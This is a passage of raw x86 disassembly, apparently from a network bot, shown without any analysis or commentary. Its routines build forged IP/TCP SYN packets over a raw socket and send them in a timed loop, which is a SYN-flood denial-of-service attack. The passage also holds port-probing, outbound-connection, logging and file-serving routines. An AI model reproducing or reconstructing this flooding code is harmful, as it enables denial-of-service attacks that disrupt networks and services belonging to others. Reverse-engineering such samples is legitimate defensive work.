eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409869 add esp, 14h loc_415600: ; CODE XREF: sub_4152D1+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_415607: ; CODE XREF: sub_4152D1+28Bj push [ebp+var_4] push esi call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_437CCC jmp short loc_4155C9 sub_4152D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41561D proc near ; DATA XREF: sub_401ACD+6283o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41C159 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_41C159 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CBA14 ; inet_addr push eax call sub_4157BA add esp, 0Ch push eax lea eax, [ebp+var_414] push offset unk_437EA8 push eax call sub_41C266 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4156B2 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409869 add esp, 14h loc_4156B2: ; CODE XREF: sub_41561D+73j lea eax, [ebp+var_414] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_41561D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_4156FA push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4271F8 ; connect jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: sub_4156D1+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call dword_4271E0 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB97C ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CB9BC ; select test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: sub_4156D1+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: sub_4156D1+B8j ; sub_4156D1+DCj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: sub_4156D1+92j lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jnz short loc_41578B lea eax, [ebp+var_210] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: sub_4156D1+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4271C8 ; getsockopt cmp eax, edi jz short loc_415765 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: sub_4156D1+24j ; sub_4156D1+8Bj ... pop edi pop esi leave retn sub_4156D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157BA proc near ; CODE XREF: sub_41561D+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], eax call dword_4271C4 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4CF1F0, eax call dword_4CB9B4 ; setsockopt mov esi, dword_4270B0 call esi ; GetTickCount push eax call sub_41C2B8 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_415900: ; CODE XREF: sub_4157BA+1C1j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4CB9D4 ; htons push ebx push 1 push 2 mov [ebp+var_9A], ax call dword_4CBA54 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_4156D1 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4CBA6C ; closesocket cmp [ebp+var_8], ebx jnz short loc_415973 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_415973: ; CODE XREF: sub_4157BA+1ABj add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_415900 mov edi, offset dword_4CF1F4 push offset asc_42CDC0 ; " " push edi call sub_41C266 pop ecx pop ecx call esi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_4159A0: ; CODE XREF: sub_4157BA+23Cj call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4159F8 mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_4159D1 push eax push edi push offset aSD ; "%s%d " push edi mov [ebp+var_10], eax call sub_41C266 add esp, 10h jmp short loc_4159EB ; --------------------------------------------------------------------------- loc_4159D1: ; CODE XREF: sub_4157BA+200j push 0FFFFh push ebx call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_10], eax loc_4159EB: ; CODE XREF: sub_4157BA+215j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_4159A0 loc_4159F8: ; CODE XREF: sub_4157BA+1F7j ; sub_4157BA+477j push 28h push ebx push offset byte_4CF190 call sub_41BF70 mov esi, 0FFFFh mov byte_4CF190, 45h push esi push 400h mov byte_4CF199, 6 mov byte_4CF191, 8 call sub_418BD1 add esp, 14h push eax call dword_4CB9D4 ; htons push 28h mov word_4CF194, ax call dword_4CB9D4 ; htons or byte_4CF198, 0FFh cmp dword_4CF180, ebx mov word_4CF192, ax mov word_4CF196, bx jnz short loc_415A78 push 0FFFEh push 1 call sub_418BD1 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_415A83 ; --------------------------------------------------------------------------- loc_415A78: ; CODE XREF: sub_4157BA+2A2j push offset dword_4CEB60 call dword_4CBA14 ; inet_addr loc_415A83: ; CODE XREF: sub_4157BA+2BCj mov dword_4CF19C, eax mov eax, [ebp+arg_0] push 4000h mov dword_4CF1A0, eax mov byte_4CF1B1, bl call dword_4CB9D4 ; htons push esi push ebx mov word_4CF1B2, ax call sub_418BD1 mov edi, eax push esi push ebx shl edi, 8 call sub_418BD1 add esp, 10h add edi, eax push edi call dword_4CB9D0 ; htonl mov dword_4CF1A8, eax mov al, byte_4CF1B0 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4CF1B0, al mov ax, word ptr [ebp+var_10] mov dword_4CF1AC, ebx mov word_4CF1B6, bx mov word_4CF1A6, ax mov dword_4CF1CC, edi mov byte_4CF1D0, bl mov byte_4CF1D1, 6 call dword_4CB9D4 ; htons mov word_4CF1D2, ax mov ax, word_4CF1A6 mov word_4CF1B8, 2 mov dword_4CF1BC, edi mov word_4CF1BA, ax mov [ebp+var_4], ebx jmp short loc_415B39 ; --------------------------------------------------------------------------- loc_415B34: ; CODE XREF: sub_4157BA+451j mov esi, 0FFFFh loc_415B39: ; CODE XREF: sub_4157BA+378j cmp [ebp+var_4], ebx jnz short loc_415B6D push esi push ebx call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons mov word_4CF1A4, ax mov eax, dword_4CF19C mov dword_4CF1C8, eax mov byte_4CF1B1, 2 mov dword_4CF1AC, ebx jmp short loc_415B8C ; --------------------------------------------------------------------------- loc_415B6D: ; CODE XREF: sub_4157BA+382j push esi push ebx mov byte_4CF1B1, 10h call sub_418BD1 pop ecx pop ecx push eax call dword_4CB9D4 ; htons movzx eax, ax mov dword_4CF1AC, eax loc_415B8C: ; CODE XREF: sub_4157BA+3B1j inc word_4CF194 inc dword_4CF1A8 mov ax, word_4CF1A6 push 5 pop ecx mov esi, offset word_4CF1A4 mov edi, offset dword_4CF1D4 mov word_4CF19A, bx mov word_4CF1B4, bx push 14h rep movsd mov esi, offset byte_4CF190 mov word_4CF1BA, ax push esi call sub_40AA5F push 20h push offset dword_4CF1C8 mov word_4CF19A, ax call sub_40AA5F add esp, 10h mov word_4CF1B4, ax push 10h push offset word_4CF1B8 push ebx push 28h push esi push dword_4CF1F0 call dword_4CBA38 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415B34 call dword_4270B0 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415C36 push [ebp+arg_8] call dword_427080 ; Sleep jmp loc_4159F8 ; --------------------------------------------------------------------------- loc_415C36: ; CODE XREF: sub_4157BA+46Cj pop edi pop esi mov eax, offset dword_4CF1F4 pop ebx leave retn sub_4157BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: sub_401221+384p ; sub_401221+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_427140 ; GetLocalTime mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: .packed:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_437F6C push eax push [ebp+var_11C] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: sub_415E4B+33j cmp [ebp+var_98], 0 jz short loc_415EBE lea eax, [ebp+var_98] push eax call sub_41C159 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415EBE mov [ebp+var_8], eax loc_415EBE: ; CODE XREF: sub_415E4B+5Aj ; sub_415E4B+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: sub_415E4B+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp [ebp+var_98], 0 jz short loc_415EF6 cmp [ebp+var_4], 0 jnz short loc_415EF6 lea eax, [ebp+var_98] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: sub_415E4B+90j ; sub_415E4B+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: sub_415E4B+87j ; sub_415E4B+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: sub_415E4B+82j lea eax, [ebp+var_31C] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: sub_415E4B+EEj lea eax, [ebp+var_31C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_415E4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: sub_416000+33p ; sub_416563+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 ; inet_addr cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C ; closesocket loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416000 proc near ; DATA XREF: sub_401ACD+A02o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_415F7A mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_416093 lea eax, [ebp+var_11B4] push offset unk_437FEC push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_416076 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409869 add esp, 14h loc_416076: ; CODE XREF: sub_416000+59j lea eax, [ebp+var_11B4] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread loc_416093: ; CODE XREF: sub_416000+3Fj push offset byte_43DB88 push ebx call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4160FE lea eax, [ebp+var_11B4] push offset unk_437FBC push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4160DA push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409869 add esp, 14h loc_4160DA: ; CODE XREF: sub_416000+BDj lea eax, [ebp+var_11B4] push eax call sub_415D38 pop ecx push ebx call dword_4CBA6C ; closesocket push [ebp+var_10] call sub_40B6D6 pop ecx push esi call dword_4270D4 ; ExitThread loc_4160FE: ; CODE XREF: sub_416000+A3j push 64h call dword_427080 ; Sleep xor edi, edi mov esi, 1000h loc_41610D: ; CODE XREF: sub_416000+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_4CB9EC ; recv test eax, eax jle short loc_41616A lea eax, [ebp+var_11B4] push offset asc_42A080 ; "\n" push eax call sub_41C8A0 lea eax, [ebp+var_11B4] push eax call sub_419F9D add esp, 0Ch test eax, eax jz short loc_41616A push 64h call dword_427080 ; Sleep push 0Ah call sub_40B602 test eax, eax pop ecx jnz short loc_41610D loc_41616A: ; CODE XREF: sub_416000+130j ; sub_416000+154j lea eax, [ebp+var_11B4] push offset unk_437F88 push eax call sub_41C266 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_41619D push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409869 add esp, 14h loc_41619D: ; CODE XREF: sub_416000+180j lea eax, [ebp+var_11B4] push eax call sub_415D38 pop ecx push ebx call dword_4CBA6C ; closesocket push [ebp+var_10] call sub_40B6D6 pop ecx push edi call dword_4270D4 ; ExitThread sub_416000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: sub_4161C1+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_4CB9D4 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CBA00 ; bind test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: sub_4161C1+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_4CB978 ; getsockname push [ebp+var_2E] call dword_4CB904 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: sub_4161C1+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: sub_4161C1+CAj movsx eax, al loc_416295: ; CODE XREF: sub_4161C1+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC ; listen test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: sub_4161C1+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: sub_4161C1+125j push esi push eax call dword_427114 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr push eax call dword_4CB9D0 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409869 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CB9BC ; select test eax, eax jg short loc_4163A2 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_438078 push eax push [ebp+var_1FC] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_4161C1+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: sub_4161C1+49j ; sub_4161C1+87j ... lea eax, [ebp+var_3FC] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: sub_4161C1+200j push edi call 